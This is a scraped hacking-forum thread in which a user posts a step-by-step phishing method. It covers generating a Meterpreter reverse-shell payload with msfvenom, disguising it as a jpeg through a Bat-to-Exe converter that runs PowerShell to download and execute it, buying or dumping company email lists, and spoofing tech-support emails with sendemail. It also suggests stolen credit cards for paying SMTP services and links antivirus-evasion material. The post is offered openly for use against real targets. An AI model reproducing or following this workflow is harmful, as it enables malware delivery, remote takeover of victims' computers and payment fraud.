# phishing methodology (1)
Hey everyone I have been working on this methodology for myself and I thought I might share it with the community feel free to add your ideas and let me know what you think First for this to work with

var unreadAlerts = '1';
Welcome back, purely_cabbage. You last visited: Today, 06:36 AM Log Out
You have one unread private message from dkota titled Welcome to the Forum!
New Reply

Threaded Mode phishing methodology

bl0ckz
Elite
Posts:
18
Threads:
11
Joined:
Feb 2023
Reputation:
13
Credits: 12.85€ [Donate]
#1
02-27-2023, 02:35 AM
Hey everyone
I have been working on this methodology for myself and I thought I might share it with the community feel free to add your ideas and let me know what you think
First for this to work with the converter we'll be using later we need a way to share our exploit with the converter. The easiest way I have found to do this is by running apache2 server and using the powershell command invoke-webrequest. navigate in kali:

> Quote:cd /var/www/

Next we need a target IP for our exploit, for simplicity I will be using msfvenom:

> Quote:msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe

Then finally

> Quote:service start apache2

Now its time to work on hiding our exploit inside a jpeg using a converter I found that's built for windows but we can use wine to run it in kali.
Here is a link to Bat_To_Exe_converter:
anonfiles.com/neQbB4a7z8/Bat_To_Exe_Converter_x64_exe
To run with kali use wine command followed by the name of the converter file

> Quote:wine Bat_To_Exe_Converter_x64.exe

Once you find the image you would like to use, convert the jpeg to ico file format using https://convertio.co/jpg-ico/ so you can upload to the converter using the drop down menu on the right hand side and check the icon box.
next since our converter is .exe program we'll have to use powershell commands to grab the url and jpeg if that makes sence...
within the converter you'll see a large command window for use to write powershell command:

> Quote:cd %temp%
> Powershell command invoke-webrequest "URL_TO_JPEG" -outfile image.jpeg
> Powershell command invoke-webrequest "http://127.0.0.1/shell.exe -outfile shell.exe

Last run the converter and you have your image paylaod, if your target clicks on the image you'll have a session in metasploit.
But thats just the beginning, how to do target them? I personally look for company email lists. You can find these on dump sites like here or you can simply buy them. theyre cheap and companies sell these all the time for spam and marketing. just google the name of the company with the word email and you'll get a million results to shop around for email lists.
Now we need to spoof our email address using a smtp server and the kali command sendemail. This way we can look like were part of the companies tech support making it easier to social engineer our target. There are a million ways to make a smtp server but for this example we'll use a website called sendinblue. They're a well known company that isn't free but offer a free trial so we can do this a couple times maybe then use a vpn to create another free trial account or buy some CC and buy a subscription because who pays for shit right? lol.
once you have a account setup on sendinblue choose your port password and create your server. once its launched you'll be back on your kali machine and use the following command:

> Quote:sendemail -xu [email] -xp [pass] -s [server:port] -f "spoof email address" -t "target email address" -u "subject" -m "message

I hope you enjoyed my methodology I am working on, I found a nice write up on bypassing windows defender while writing this and decided I would also link that for future reference. I also want to try a AV evasion tool called Shelter but I've haven't had a chance to try it out.
enjoy the converter
https://www.purpl3f0xsecur1ty.tech/2021/...asion.html
PM Rate
Report

« Next Oldest | Next Newest »

New Reply

Quick Reply
Message Type your reply to this message here. Signature Disable Smilies | You have selected one or more posts to quote. Quote these posts now or deselect them.

Possibly Related Threads…
Thread | Author | Replies | Views | Last Post
| Phishing tool | MrSPAR | 4 | 553 | 02-26-2023, 01:36 PM Last Post: grayalpha

- Subscribe to this thread

Users browsing this thread: purely_cabbage
var thread_deleted = "0"; if(thread_deleted == "1") { $("#quick_reply_form, .new_reply_button, .thread_tools, .inline_rating").hide(); $("#moderator_options_selector option.option_mirage").attr("disabled","disabled"); }